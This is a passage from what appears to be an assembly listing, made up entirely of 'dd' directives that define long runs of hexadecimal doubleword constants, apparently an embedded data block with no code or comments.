0F5A9F29Ch, 3E34F00h, 295B701Ch, 75E80381h dd 60627DE7h, 4E5F50BFh, 0F83F1064h, 71C09B61h, 3492F71Fh dd 2E0970A0h, 80988285h, 670BDCFCh, 0D5312F73h, 0EF6B0966h dd 7DD31180h, 23DF6406h, 18F9D70Fh, 1AC9C0EDh, 14DFAEAh dd 8750BA99h, 0F0CF451Bh, 64F6BC9Bh, 40A36Fh, 0A8A619Dh dd 88C60C70h, 0E128AF46h, 81B6323Dh, 62F994Eh, 3843A4E3h dd 927A765h, 0E4200866h, 749F1FECh, 1EED0030h, 61A4D95Dh dd 0CBAF3F00h, 87C32DE5h, 8C55039Ah, 0B6B8DE1h, 0F5F220F8h dd 419D1A03h, 0D3869614h, 0BC95D18Ch, 0C448EFAh, 1804501Fh dd 31FBC221h, 0A18C912h, 0C6E0EF5Eh, 98110780h, 0C3CBCF48h dd 98060766h, 0A1ED4F30h dd 1AA01818h, 0AD54D1FAh, 9EDE7E00h, 8A2966D9h, 3094A4D0h dd 6530AF03h, 0EDF0C646h, 0C710A260h, 6FA1A71Ah, 0D584704Ch dd 0C56B059Bh, 61BC8C20h, 44B70040h, 0AB20185Fh, 0D1E82EF1h dd 6BA25218h, 1BCF929h, 0F8A460C7h, 526EE34Ah, 0B02089B0h dd 2A5609B5h, 7F81224h, 202BEBC4h, 0DDCAC06Dh, 0A300AA13h dd 0D88B37C0h, 19B40BB7h, 682F9BA4h, 0E0E330BBh, 66C86450h dd 0D4E67D18h, 95F548h, 0EA2F9D57h, 0CEE57E63h, 35E618C3h dd 0ADC1A761h, 0BC40B203h, 66FC16Bh, 9FFE66D8h, 0E600F896h dd 307226F0h, 0C8B3446Ch, 9D428D29h, 27042295h, 2FD57D22h dd 0AB410091h, 0AE430FECh, 3E153C2Fh, 3B083401h, 0E40E3AB1h dd 207C3C5Bh, 0C33FBE07h, 0AD40AA85h, 45B89Fh, 0E5998C6h dd 775C73BFh, 0FED53400h, 0BD8BD1Eh, 0ABB8D0h, 653E4EB2h dd 2203CCA4h, 1413039h, 727E43DDh, 15E08637h, 11D8008Ch dd 6656CF61h, 0A7F2B2Dh, 7C000D75h, 81DEC1F8h, 5838393Ch dd 0B2007C86h, 0F3ECD2A5h, 19C04975h, 818AE10Ch, 5F5D005Ch dd 0D7B17276h, 0D0370F6h, 0C841EB25h, 8D101F94h, 0AEDA00D5h dd 0A57190F5h, 0F7C0F200h, 6B06389Dh, 536A00BEh, 72FA5617h dd 0E5009C73h, 5CC26EE7h, 84B012h, 0DC094BE2h, 0F8488E23h dd 808B833Eh, 0E3E547AFh, 431C38h, 4D6F6E8Ah, 15B54AA2h dd 29276400h, 0C501E4C3h, 0FDE60791h, 205C0F2Ah, 965E4240h dd 0F6461209h, 2FF6875Ah, 793304D0h, 0D13E00A5h, 626AC2D3h dd 8D1D0E65h, 14A4CE91h, 70BA4A00h, 1D31661h, 0CA1D5067h dd 7B225584h, 0DA28E3C0h, 1E7D017Ch, 0F59E77C7h, 0D0F8D1C9h dd 9F7075CBh, 0A64EE700h, 693FDC07h, 2A8500C5h, 882C9296h dd 5A05A96Eh, 0CBDDEDFDh, 3D84E440h, 0E52490h, 0DB6E7F79h dd 0E227724Fh, 0BD6D7800h, 3AB53E13h, 0AA420130h, 0BB2F22EBh dd 8BF140DCh, 8400FCD4h, 78B87DA1h, 0E29F925h, 541E5115h dd 74F29382h, 0BB670C40h, 63F6D1Dh, 1FF4DE80h, 1C993345h dd 0FA71ADFCh, 0CDF2A980h, 44F65FDBh, 0FB07B090h, 0DEDAD91Bh dd 0E0108F1h, 0F0C2E3E0h, 0DDF50141h, 0F40B9ED7h, 3033F01Ch dd 87AB970Ch, 0CDD939h, 74DBC207h, 0A2800A35h, 16BBB601h dd 5DDF915h, 6B6A4883h, 0E0E7AAA3h, 2ACC4FA0h, 0FCEE5600h dd 5CC976F1h, 101A006Bh, 2397AE33h, 0AF00C632h, 17F2A760h dd 46B186h, 39AC3C1Eh, 0AE2C0F31h, 159B9E1Dh, 64005752h dd 8A2044E1h, 105560A9h, 0F62DC05Eh, 0DB0276F2h, 0F95A80EFh dd 4C63B6h, 9DA0CC20h, 0A1CB577Ah, 6FEAD426h, 925A0D00h dd 39E63E0h, 6A8530ABh, 13D0DEC3h, 3400ED45h, 0E8F32F0Eh dd 6055B68Dh, 4C8B217Eh, 400E052Ch, 0C063E127h, 1EAE41EEh dd 183B0E92h, 0A2A08E8Dh, 10022809h, 40DD8400h, 0D9B99917h dd 663502FFh, 0D1F73127h, 0CAAB6860h, 0A9BA9C00h, 0B891B1C3h dd 8EA800CCh, 8AAC925Dh, 8C09A59h, 0E7ADB3B5h, 0BFC700CEh dd 0C3CBCAEBh, 9400D304h, 9BFAFBBEh, 14072E9h, 840EB377h dd 479691ECh, 6C5550F8h, 5A06EB0Ah, 54F30469h, 3092E0h dd 0A3987E90h, 51843ACCh, 0EC832609h, 0C0C80CDh, 76E4FD3Fh dd 48A17145h, 48010475h, 300A7EB0h, 16F08078h, 732AA8F3h dd 85350302h, 0D3875504h, 3A3BE000h, 33392B0Ah, 48410023h dd 2D3E263Ch, 29FC1A42h, 45084960h, 50971EE3h, 9BFC5Eh dd 74353D5Ah, 6B2C4663h, 5B0D4A01h, 0B4A79021h, 25CE084h dd 132824h, 74F787BAh, 0D2966781h, 43B61426h, 80653609h dd 0F06F6A08h, 32E0C9DDh, 47FFBC07h, 5E1490BCh, 0FD00D897h dd 72F1DB3Ah, 17B2058h, 25EFADBBh, 6451133Dh, 0F51D0774h dd 7880C774h, 0E1C5154Ah, 0CB4100F4h, 0D698FD7Bh, 6D036EE4h dd 0DCC282D0h, 1F95B9B5h, 320C147h, 589E166Fh, 7FA496h dd 0F6FE9BDEh, 0E801A6D7h, 6A3B400h, 0A8FAEEFh, 8A76003h dd 6B8ACBF7h, 8CD87F00h, 94B09767h, 0A6A009B4h, 3200BBC5h dd 2258EA56h, 237C9D00h, 4DE5EF4Ch, 0AEE70F0Bh, 0F25842C4h dd 6028D47h, 406917E9h, 0D394404Ah, 0BDC201FBh, 2904F8EAh dd 0F0E8210Bh, 7F75915Fh, 830B1098h, 1C8F0E9h, 63DBF33Bh dd 197C2D4h, 0AB906AADh, 0F71D3024h, 0C2008C83h, 0C76FBFE2h dd 0A9016Bh, 0ABF084D0h, 0F78568E3h, 704BE500h, 0B9BD12C0h dd 128C90DCh, 369B4FFh, 0A67F2B4Ch, 0AF6B5A88h, 60397A3Ah dd 0F412EE18h, 0A0EA6040h, 0C56E4E55h, 0B9D6C73Ah, 542883D3h dd 0F3C0F0h, 1DB0B649h, 0CC78D2DCh, 95ABCEC2h, 15FF8666h dd 0FDC23DB0h, 30870A19h, 0C3FC70BFh, 55A8191Fh, 38950700h dd 0E0BC88h, 0EC7E6F83h, 0DDFDA054h, 0C8786300h, 6A98940Ah dd 5CBF5888h, 6EC4A200h, 840FC245h, 3D0EFA0Bh, 5764102Fh dd 3A280715h, 5032FC4Fh, 8D8BCD5Eh, 0F8237900h, 0E0F01907h dd 60773C05h, 9DB5B600h, 0B37478C4h, 7AADD216h, 46A2D700h dd 262DFC7h, 0ECAFEAE5h, 70406484h, 180044C2h, 0EF398CD9h dd 905493E8h, 4A9800E8h, 649ECBE6h, 9403D504h, 6D76FF2Dh dd 6F70A053h, 77FD0055h, 1EF64C78h, 0A705657Fh, 26EF3C01h dd 10B47880h, 9FA84406h, 0EACBC91Dh, 0BD08D780h, 18FA1B3h dd 0BA89AF92h, 206C648Ah, 90005A23h, 50FF0FFDh, 0F7BA3D2h dd 0BFE6EFA8h, 0AC22F449h, 0E9213FCDh, 3864DD2Ch, 35220497h dd 0A08BA2AFh, 0E826AD38h, 1E825C59h, 0C8A78E4Fh, 0F43460h dd 3B04D1D3h, 5D3A3E7Ch, 0E15C4E09h, 0D51840E7h, 1BF30205h dd 6B58E9DAh, 7C4550E0h, 4CD8FC00h, 78CCF27Fh, 0BEAC004Bh dd 0B89E6566h, 94025F6Ch, 0C9B596AEh, 0FFC58FB3h, 0C5688640h dd 9A42CC12h, 522F07E4h, 8FC89A6Ch, 8C7ECF40h, 0EE761585h dd 16D10A1h, 0C6E84309h, 0C5423AA9h, 55E5330Fh, 0AE0C8055h dd 0CDB15FEBh, 0B9238707h, 0BF409FCBh, 1E4F98h, 5332E936h dd 0AEF73CFBh, 0BA351000h, 7AA56948h, 71540142h, 0CFF4B32h dd 0A18DD417h, 0AC056AEEh, 0E9AED46Fh, 0B7CB3000h, 0E9605423h dd 0C0564041h, 0E447D6F4h, 41E2F92Fh, 0C0509776h, 5F11B20h dd 52E41F11h, 160C03A3h, 0E900D004h, 4BB7384Eh, 0AE01ECh dd 3A83D52Ah, 68CB910Ch, 0AFEEF000h, 4C93BA2Bh, 10443E99h dd 0F3DC460Ch, 4ADD541h, 42E46BC1h, 6D7E108Ch, 0DE016791h dd 0EC419D1Fh, 0EB00AD39h, 0B0382F1h, 9B3F7E61h, 8F280857h dd 4D109E0Dh, 48882D84h, 62A3802Bh, 5BA1E182h, 90DC7B0Fh dd 95D5E164h, 0E160926Ah, 9474B2h, 12978B8Dh, 36896146h dd 565423Dh, 0A6AD2B0Bh, 0D1B47CC0h, 0F7816BAh, 46800B7h dd 0C76B825Dh, 0B8437724h, 5CCA2E00h, 712876h, 750A4864h dd 0FFC34E89h, 0FEB20F9h, 0C1F92007h, 0B7904B5Eh, 0C07D9BBEh dd 0D86B1550h, 720116A0h, 7CC4CC8Dh, 9850A9C1h, 178562h dd 86EAE083h, 0F04CBC55h, 1134C400h, 62BAAD4Eh, 85940ED9h dd 790318FEh, 4D8A2136h, 4EE4CC40h, 2E049B00h, 7651AB97h dd 0FCE20096h, 1CBBDCB8h, 17541840h, 2D2436CCh, 0CDA6E8DAh dd 0BC4F0B00h, 27720F2h, 965A8A0Fh, 9602DC2h, 1B0079FBh dd 0DF3002D7h, 9DC19Bh, 0DC0366Fh, 6DF5F3A2h, 92DDD800h dd 8CB0BEB6h, 22D00076h, 0A4F7163Eh, 0B9000BF5h, 0F286ECD7h dd 23D8FFh, 5EC37624h, 0B529254Fh, 0BA514B00h, 0D8E5ED32h dd 4CA40131h, 43C698Ch, 35787019h, 5EDDD900h, 0FA83FFC9h dd 61BD02A7h, 5D9EC781h dd 5CC29560h, 25A6CA1Fh, 0A379B400h, 79B9818Eh, 0F7E70004h dd 128BE8B5h, 20006D78h, 0F1B0282Ch, 0A815B674h, 164585C0h dd 67CA53h, 7B9B9CA5h, 12007655h, 38AB8071h, 14EEF2h, 79B78813h dd 3E1A7F9Fh, 67578900h, 0D8B34EF0h, 0DE71027Dh, 0B97B108Fh dd 4AC3F8C0h, 1A3B1900h, 702B27CBh, 0C6481D4Bh, 42120098h dd 471DE122h, 7F07DE72h, 10DD6E05h, 2D70B3h, 6443AA98h dd 6746A978h, 0A87D3Ch, 29C1906Ch, 3BB88B1h, 0A58AB333h dd 0DD1B716h, 7D0D342h, 4000BC30h, 45C53120h, 0A0EE341Bh dd 275698h, 88A3D8BDh, 0D201A59Bh, 0A7010C90h, 0EBF758A9h dd 1024E2E3h, 0DE0A2EE4h, 27080ECCh, 24EC02F3h, 0F860751Fh dd 67620C20h, 4E0D28h, 59B36FCDh, 7F76E3Ch, 0E7FE1185h dd 3259AA0h, 0F200018h, 0EE43E2C8h, 1600CBFFh, 0B191FB2Eh dd 0B58AE0Bh, 0BF312498h, 5B9A4480h, 0B40A3534h, 0D495EFE3h dd 0E7F2A800h, 0F3AAC0h, 0F0ABC3E2h, 0EAC2C8CFh, 0C68CCB03h dd 0C094D302h, 75FE1Fh, 7A080163h, 86F0FC5Bh, 0E9F95A00h dd 92F85F85h, 401B7DEEh, 2B18889Ah, 11C02AAAh, 1F94A7Eh dd 0ACA4448h, 818850BFh, 1AF66086h, 0D8EC2C00h, 0D3DFA12Ah dd 5C680150h, 5F837962h, 989E7026h, 7352D900h, 289167B4h dd 21EC00C3h, 94AE473Eh, 0C6008EBAh, 0E1FD6B80h, 58BE05D7h dd 0BB079FB2h, 0B36259B7h, 82D94D19h, 0FBCAE071h, 21263F00h dd 0A94420E2h, 515A00DFh, 99856E07h, 46006BBBh, 0E46A24D1h dd 0E4CCE6ECh, 0C64500D9h, 2731D39Ah, 2C001756h, 2F085924h dd 747B513Dh, 84ED0041h, 1F507D19h, 0CD00301Ch, 7F6956F3h dd 2E1B6D42h, 39803Ah, 4939379Ah, 0B300CE65h, 0AAE77916h dd 0EEED6FFh, 1DEB931h, 0FDE9BC81h, 88D9F442h, 12F094E6h dd 517FFF00h, 0A4AC902Fh, 0A636002Bh, 8FB2ED02h, 9B00C69Eh dd 0D11F2341h, 0E669B3h, 375EE19Ch, 0BDAB4A91h, 8758833Fh dd 4AD0344h, 0C01CE702h, 0EC9814C4h, 0BDBC00A5h, 0C18F9AEAh dd 0EB006C3Fh, 552B6462h, 6ACEE0h, 0E9FECCD4h, 4E808B46h dd 63368F00h, 2765DFB5h, 6FE43Ch, 9FCE4D76h, 0F3708058h dd 0FF2E7A00h, 59E79526h, 0AE870035h, 7F1B22FCh, 0C702C8DDh dd 896A804Ah, 7678C848h, 0D0B5247Bh, 0FC030B94h, 3F9B8420h dd 220679EFh, 0CD11178Dh, 2B540420h, 0C7F065D9h, 7782F07Dh dd 80799061h, 1E2DA03h, 0F8D06281h, 76DCF2h, 0C8084038h dd 0C51543E9h, 0EC8E8917h, 49E10F00h, 0B8F880A3h, 34850098h dd 2C3A7A09h, 0DF020704h, 80AB99CAh, 0A4A1E1D6h, 1B203E0h dd 0B0C643F1h, 0C83ADD9Ch, 0EFF2114Ch, 0AA91E400h, 0BE965B31h dd 0B17807D6h, 903E54C8h, 0DAAB3F74h, 80F1A762h, 0A01AC329h dd 4D0A2Eh, 52172785h, 56134178h, 3B397C0Fh, 465A015Eh dd 30E01B3Fh, 11330042h, 12320F38h, 37010E31h, 0F3B4FA0Dh dd 0C8209C73h, 60B3EAE0h, 0AE1EA4Ch, 2E12AA8Ch, 0CC401E5Dh dd 48FF2F49h, 0A68E2C93h, 15EA3074h, 9E3A0A3Bh, 1C53804Dh dd 0A2D7EE52h, 4E6C00BEh, 8683CD1Dh, 34008E25h, 0BA7F1FFh dd 0E627E86Eh, 750E2E67h, 7459007Bh, 1C8112DAh, 0D6F4E9C4h dd 38AF00E0h, 0AD0F098Eh, 0A720CE8Bh, 0BEFAD297h, 0E3EE08C0h dd 395B392h, 8DAF94B0h, 9888BCA8h, 289EADBEh, 71327E03h dd 64E90F1Ah, 982B2DF7h, 493B4420h, 70002859h, 9F181265h dd 0B43B6h, 143EA98Fh, 0F832C5B9h, 0E9E470C0h, 0DE89ACh dd 0D4A7D6F3h, 0B9EDFDCh, 0F7CCE20Ch, 12C69002h, 9031FE35h dd 5E52E28h, 0CFE71900h, 0B92397CDh, 1A2520EEh, 0F1731E1Eh dd 110A420Ch, 1F16F013h, 8056672Ch, 0A4EBFED1h, 0A8004153h dd 8D08E0FFh, 498827h, 11EF477h, 0AEB76089h, 0A0A81174h dd 86FF33EEh, 0E3F12351h, 0D4BA78h, 437FE1BBh, 0C0B7308Ch dd 744E9318h, 4A16FC88h, 8A644D03h, 0C4E47220h, 0E62197A5h dd 3072E8E4h, 0F79A8200h, 0EEC1D67Dh, 85B015Ch, 9EF4EC21h dd 617D708Ch, 8902981Dh, 90E026F4h, 38BC008Fh, 2CFEFB74h dd 1800F890h, 9FEAB1B6h, 21C147h, 2F926AF1h, 7D5B1540h dd 0BC690200h, 967AB123h, 1611006Eh, 770E7F57h, 79001588h dd 1D2F8FA8h, 93869D5h, 941887B0h, 417AC4Ah, 3FEB1FDCh dd 8DEC84BAh, 24349193h, 10102C7Ch, 6709A0DBh, 24600889h dd 438AA781h, 0D72921EFh, 9588BD10h, 22796542h, 0A82FA103h dd 0A8998817h, 887FFC88h, 9688A29Fh, 84AD9013h, 8B485202h dd 24113042h, 589121D1h, 0E113C712h, 0E5029DFCh, 894AF310h dd 643708B3h, 21E95104h, 4F124DF9h, 0C8024410h, 0A642FD29h dd 217B2464h, 21120388h, 8963FB10h, 44450877h, 22843501h dd 23446142h, 4A7805FBh, 0D071F9EAh, 0FD667BD0h, 6180ED22h dd 22050888h, 791EE45Fh, 1A5E7100h, 2333757Dh, 386C5986h dd 50E29B00h, 840EAEE7h, 87449C00h, 1E9237BEh, 2F4BE686h dd 8805494h, 2D2AC3D4h, 5F6BFB03h, 0D0026846h, 89EC28h dd 0BACF6D83h, 0A436212Bh, 0B2AE58h, 8DB7E4A9h, 0FD178Eh dd 67C9DD04h, 479D928Ch, 28408516h, 2C141C00h, 4E3E2B1h dd 0EB10299Ch, 28541Eh, 48F679ADh, 72821Bh, 63E959D2h dd 22FE8838h, 0AF3A1273h, 83843886h, 0CFA0D3B6h, 0DD7ED07Ch dd 0F2450478h, 905D65F4h, 47B8BC7Ch, 2098C206h, 0C389017h dd 0AFDF310Ch, 9F00EDE9h, 2EB2F4B3h, 83E08Ah, 0BCB9FBBBh dd 95C2F931h, 0AFE7E200h, 6F2F01A6h, 0A8B0F3h, 7FA4BB30h dd 35AA82F0h, 0A7EDF800h, 0E70ECFABh, 34E80Ah, 0F3111DB0h dd 70494E26h, 0FB777D00h, 869EC2AEh, 9AEC0EB7h, 5A80B093h dd 0F731F55h, 0E1C6D003h, 809C382Ah, 64ED2Eh, 5DDA2581h dd 62733339h, 0D01F173Fh, 0E100EECAh, 0B0B7D35Ah, 0E74E5Eh dd 0D803A449h, 0F7DC2164h, 9700E57Ch, 0D6F562C1h, 245783D9h dd 20E7AEACh, 0C7124A90h, 3F5E4000h, 44F00D25h, 610A1800h dd 4B241E4Ah, 0E30014Ch, 95D30FAEh, 6FBDD05Ah, 0D615681Ch dd 0CF1E49C0h, 874C83h, 6CEEA544h, 0E03BD8BDh, 36BF421Eh dd 2BC29302h, 220FC06Bh, 52FD0073h, 475D7B2Ah, 53ECF8Eh dd 37F005Ah, 0AC831C46h, 2A7C1Ah, 956B34F5h, 0DCDB13F3h dd 9F112F00h, 8638AB96h, 62EC8Bh, 359ED0C8h, 29F7A588h dd 0BF56E500h, 8F2B840Fh, 0B7B812EDh, 59340239h, 86069672h dd 0C0933A91h, 37236100h, 0A7A1B02Ah, 8E684703h, 98AB84C1h dd 0A5D203h, 0A4086CC6h, 154183CBh, 8081D03Bh, 0BEB812CCh dd 38BB10D9h, 19E3268Ah, 67F029CBh, 827CB2A1h, 301CA500h dd 80B60F72h, 0FD75011Bh, 79693A5Eh, 0A125E474h, 0C6A26200h dd 48585C6Eh, 989400B8h, 59E417FDh, 84792A03h, 0A4216803h dd 0F8D67E2Ch, 0B8B293B1h, 2A830EA0h, 502C9F23h, 8BF85638h dd 30F7E000h, 0EF75C7E2h, 0F5D05DFh, 97F8E75Ah, 0FCE239DCh dd 8CE4C4DAh, 0B6B9A917h, 0E3BEC882h, 9B5FC0C4h, 0BBDA001Bh dd 0BFE617B3h, 2C9CF0A7h, 0CD84002Dh, 9A1B1C8Eh, 68D0092Ch dd 9C682292h, 2101D75Ch, 26304B4Ch, 5FE0950Ah, 3AAE982Ah dd 6600694Eh, 30AF3A8Ah, 0BC094614h, 0E56DE9h, 0FCA5DBB4h dd 0E3C20036h, 0C40248AFh, 94019659h, 3911161Fh, 0E9CCAC86h dd 4367C1Ch, 6A41A8C3h, 14AC94h, 0F50A9DE2h, 1722546h dd 1A6947F3h, 0D07C4F7Bh, 267B8865h, 0D217C770h, 0FE070FC6h dd 0A94FCBECh dd 4A120041h, 39DD62h, 0DFD0210h, 0FA6EDE3Dh, 5E9E5700h dd 0BB504E61h, 0DBDF00EBh, 6C95E801h, 0F2001A49h, 0AF861FE6h dd 0FE1B29h, 28CE5448h, 0ADA26A3Dh, 68B67A18h, 18F91D19h dd 11F531FFh, 87007E98h, 4FEBA023h, 0B4E5CFh, 0F22E3F5Bh dd 0EA56207Fh, 0FA8BBC04h, 54E02130h, 1C9E00CDh, 6881D5Bh dd 40FF3353h, 6A5A9BF4h, 99C93Dh, 5CA8E483h, 0F8DDD86h dd 89D97A62h, 0FCA508F9h, 3E173A7Fh, 40809159h, 431395h dd 2A0E8C66h, 70C2BB6Ch, 0F480EBB8h, 0C35064FCh, 511EC4B4h dd 33C0AD9Fh, 0A1D3ED07h, 681400BBh, 0BE98322h, 4C00DFCBh dd 6DBDF7A0h, 4979D7h, 577896AFh, 94DCC254h, 92B1500h dd 0D3FC3561h, 71F30005h, 28FD9ECEh, 0F00B1B9h, 53516639h dd 8BF655h, 901EFA92h, 8CFCB5BCh, 0CEC9403h, 1C42Eh, 0A9198028h dd 8B6A6344h, 34E69900h, 0D0FB27E4h, 6CF4063Fh, 0F081339Fh dd 1652E107h, 5A6B657h, 0AC2C00B4h, 6787A918h, 0B403784Bh dd 4D48A58Ch, 9A03B80Ah, 51D003Bh, 5F4A5443h, 420098BBh dd 143C2C7Ah, 0E63FEDCCh, 66CB011Fh, 96E1F017h, 95E2EC47h dd 8EEC4800h, 2439F631h, 93D0A8Fh, 0D8FB0Bh, 0F25270D3h dd 4B3829D1h, 4E027AE9h, 627905E6h, 0A0747002h, 0F2671946h dd 59710076h, 5D757246h, 7E001B5Bh, 85225674h, 2868CAA3h dd 10D8C2DFh, 0FCB2C94h, 201655ECh, 0EA1298BDh, 0B0B083h dd 0A6B4936Fh, 0A9EC58B3h, 0C65A2D00h, 0A0257908h, 0C1240077h dd 93A8191Dh, 4D1FAF9Eh, 0DD809A72h, 2B82146Ah, 0BE3100B1h dd 0BFA69FD4h, 0EFF423ECh, 46DCA900h, 4F06CE8Dh, 4057D9Ch dd 65902063h, 0BC8DC027h, 400A8EDh, 0CD8AABEFh, 13AA4CFCh dd 2F754Dh, 87EBDB66h, 0BA037F28h, 0A0C24D4h, 8EE2F168h dd 1CE830h, 343E5B9Eh, 29416697h, 6EBCA095h, 0F7404A4Fh dd 8B340889h, 4C9590E0h, 6DD5A700h, 66E0F454h, 0D9FB0085h dd 992A1679h, 7C00A3DFh, 27AF0C23h, 666F28h, 96063D13h dd 34B44FD2h, 0CE0FE898h, 0ABF8E3C8h, 73A68711h, 0E86CAD53h dd 16F26Eh, 1FD9EA5Fh, 644D9DCCh, 135D9B00h, 0C223F790h dd 417D26h, 0E6F6CE2h, 6BB214F6h, 400B5A00h, 0A98B6942h dd 2E7E02C2h, 0EC9B7B94h, 5036070h, 66FC444Ah, 253D80CCh dd 0D067010Bh, 6A2ED1D3h, 0ED343035h, 0E1A5460Fh, 90ACE02Dh dd 0B06DE7E6h, 51430056h, 0D10C1CBAh, 33E6A182h, 4D1637EAh dd 0D005E8h, 0EB85C84h, 7E316658h, 5E2B99CEh, 30168CC1h dd 0EE134444h, 0C010237Ah, 0E63C03D0h, 84526E6Dh, 23BC4A8h dd 61EF7B00h, 5C018376h, 0FA89741Dh, 0FB8A1D00h, 7BBB282Fh dd 72BA2E6Ah, 12D7001Ch, 0C8ABB977h, 0B3A2B200h, 0E9CECD8Bh dd 79E805FCh, 0B0BD0936h, 88017F30h, 3DFE75A6h, 92D8377Dh dd 26DCA0C8h, 0F88E008Dh, 0B9B33120h, 70488ABAh, 4DB802F0h dd 0F81DD6BBh, 1430F130h, 33C401C9h, 31B33908h, 191DE75Eh dd 0AF402A63h, 5590F48Fh, 5E237C38h, 0F888C05Ah, 4417FB42h dd 0E441EB67h, 0AF4A48B5h, 43F866C5h, 0CD0301AAh, 9940389Fh dd 97C0F614h, 0BB00ED56h, 8E575895h, 0E51132CEh, 80DEF03Ch dd 0CCC938BDh, 0DB2ADC27h, 5A0EBCA2h, 84EAD493h, 0E487D796h dd 7889h, 2D05E2B9h, 56F7E4C3h, 9AE7A607h, 0A44192BDh dd 9EF8C0B7h, 36C13B90h, 1FC48B81h, 50E6CE0Ch, 9F873BCh dd 818CC05Ch, 37196438h, 0C8003427h, 0DCB89B92h, 7F0F686Fh dd 20C9A9BBh, 0E605B685h, 9E876FFh, 0F8099E6Ah, 3B024A00h dd 963A0D5Ch, 0B0E70092h, 0B38822EBh, 1A360737h, 0A56C1958h dd 55DC0096h, 0EBA0835h, 878030C0h, 3CE54D5Dh, 0D1061F2Bh dd 0B07C733Ah, 0B129B03Ah, 0DE2539FBh, 185260h, 85AECAE5h dd 65C91C4Dh, 808C1ECFh, 0D6D33403h, 4E790060h, 75741ED2h dd 0C500BD97h, 9CAB2D5h, 7F5A31h, 6AA31986h, 73D34F79h dd 52DC2A04h, 0D8AC7871h, 0F4343160h, 7E4C4BE5h, 0CA430F20h dd 0DA8300B9h, 50AA1915h, 7682D818h, 58D274EBh, 7D3C8CEEh dd 7ACAF200h, 54E0F8F1h, 0E2FC9B00h, 81FDFE7Eh, 79EA74C8h dd 3FE6Bh, 0CE99D779h, 379CD67Dh, 3E15F40Ah, 4B008074h dd 0AD9DF190h, 0DA70008Bh, 0C095698Ch, 5006EBEh, 0F777639h dd 130ACE2h, 0BDBC9F18h, 0FBAA8997h, 0D138F2E0h, 0DF4E70Ch dd 77A502Ch, 11437850h, 3D1593h, 0A7DE3AC0h, 5D1FF1D4h dd 1C09F98h, 0F8172BC2h, 0E1E404h, 8930540Eh, 3603840Dh dd 4E1F7609h, 586900FCh, 48CADD3h, 6E949C34h, 0F0B868h dd 0C0184A70h, 159DDDCh, 9E532A32h, 874C032Ch, 0DEC35DD4h dd 54CEF511h, 131F4F4h, 0D72B155h, 0D47C75A3h, 0BF1B60CDh dd 0F1992CCh, 98389C2Eh, 47EF6960h, 9CB884E5h, 0B6419102h dd 78A8838Eh, 6D7984h, 0ECF2C935h, 8B20C5CEh, 0D6181900h dd 2476DEC1h, 72B8009Dh, 8835543Eh, 0C9071FE1h, 0D8BB34E2h dd 0EEF1C16Fh, 0C0CE05A1h, 1F8DF58h, 40DB5BE8h, 3EFFC8EAh dd 0A9C2700Eh, 30085067h, 0BCC65BB5h, 0BE005943h, 0B9A2FDF8h dd 0B8456C42h, 22C10080h, 41521A48h, 667CA3C5h, 0DF0E3700h dd 0E6152D0Fh, 23273AB9h, 0D500C338h, 0B37CCD9Eh, 5003D697h dd 99C2E387h, 1D3087ABh, 9ADF1BBh, 2ACBF8DAh, 0FB9ACC80h dd 0DD00B54Ah, 0E88C98C0h, 73ABC3h, 0BFB98AB7h, 0EC237924h dd 0E7D2A30Eh, 41B60532h, 0A9186ABCh, 0F31C21AFh, 0EA02A700h dd 0D8BAF242h, 7858017Fh, 0C9D7E568h, 8FC47094h, 125B9802h dd 0C1396BBFh, 4430C4FCh, 0B7090041h, 0A4493113h, 0D1025EF1h dd 0D3C8FEEBh, 0C01CC2D8h, 50B574h, 66953B9Bh, 8D6306F2h dd 0C01F7100h, 0FD41A3E9h, 0F7E11D6Eh, 2CFF4109h, 705AF8B7h dd 1B00CD8Bh, 372F1857h, 0FDD038h, 0C3070336h, 64E3F0D3h dd 8E581EFCh, 2DB70055h, 74B2A327h, 49950F34h, 0BA40DB10h dd 174216E5h, 0A1E78003h, 0D0230FE0h, 6066C7h, 53195A30h dd 0D4F25178h, 0CF0048F4h, 0D2A5B390h, 0BAAA91h, 0E07AD7D6h dd 30A1BDAEh, 38E10890h, 679C00E0h, 91BDE57h, 58F9035Ah dd 48F2737Ch, 0C4B477C9h, 0A524BEACh, 2A1D111Dh, 0AE925E40h dd 4EA8F96h, 80B1FF7Ah, 0E05D803Ch, 5800B9E1h, 56708916h dd 18823911h, 194E5E62h, 0DF002A15h, 740E0694h, 65BEC0Bh dd 0B8D0531Dh, 22186887h, 83C43665h, 0FE180011h, 2885AFB0h dd 81746914h, 5BD21E50h, 0E87B0E00h, 0DEFAF378h, 0EF4E0346h dd 187F8F3Eh, 0D3925AD0h, 9159E70Bh, 288A01D6h, 0D4E45594h dd 17150096h, 0DF97BF6Fh, 190031B6h, 4F42B5A2h, 16C50F0Dh dd 3A698Bh, 6C2AF8F4h, 70025F6h, 82EAC367h, 20E3823h, 0A770CE53h dd 0ECC0028Bh, 0A22DF946h, 4F0DD069h, 98809033h, 3900FED7h dd 60EA7E6Fh, 0C58A23h, 3AC637D9h, 0B78E331Eh, 0E9D30400h dd 600B2B6Ch, 21F676h, 9BB9B56h, 0F9F758A5h, 0F86FEC00h dd 0CA71F0FBh, 0AEC40065h, 57832793h, 2F0777F3h, 0CCDE48C1h dd 4E9085E0h, 0CB3D0317h, 0C86218A7h, 828BC1E0h, 2203BA00h dd 7A3357E8h, 0E90C006Ch, 1D31D4Eh, 0D0017230h, 0B41560F4h dd 0DC30FD7Dh, 0FC9D014Dh, 3E334BA9h, 605C34A6h, 79EF4105h dd 9B0097EAh, 0B487D199h, 37331C49h, 111F80B8h, 79E520F3h dd 567F7000h, 9CB32BBBh, 0EBAF00B6h, 7337CC57h, 690B870Fh dd 40C44C2Ch, 1BF194h, 1833EEDBh, 5796BF86h, 0BCD6AC1Fh dd 0A078DC8Fh, 439C7207h, 56AF26EDh, 7086008Ch, 0BFA7AAB4h dd 0A300FEE0h, 892B7DBCh, 684127Ch, 3D8E633Fh, 8600B875h dd 0A53961Dh, 1A5476Eh, 8DA3B9C6h, 6A1828AEh, 0FE34D042h dd 2AA068B3h, 91AB007Ch, 0AC3D16D5h, 0C4A4C39h, 40766880h dd 38A4016Fh, 2B294DBFh, 35E02AF9h, 51E0C062h, 0CA8A981Ch dd 3D928B01h, 0BEB555D7h, 98C176D4h, 24C3055Ch, 0C0AA1E54h dd 0A7A0E455h, 1741C000h, 0D22C7FADh, 0FA0B0EFBh, 0C720DF06h dd 7295C5E6h, 0FD003D7Bh, 252DC426h, 0B9AA53h, 0F8E96777h dd 129A86DCh, 0E7A78900h, 7EC0F3B8h, 0E26C1641h, 0DD5C005Bh dd 0DA334AEEh, 85493600h, 0FEE6EFDCh, 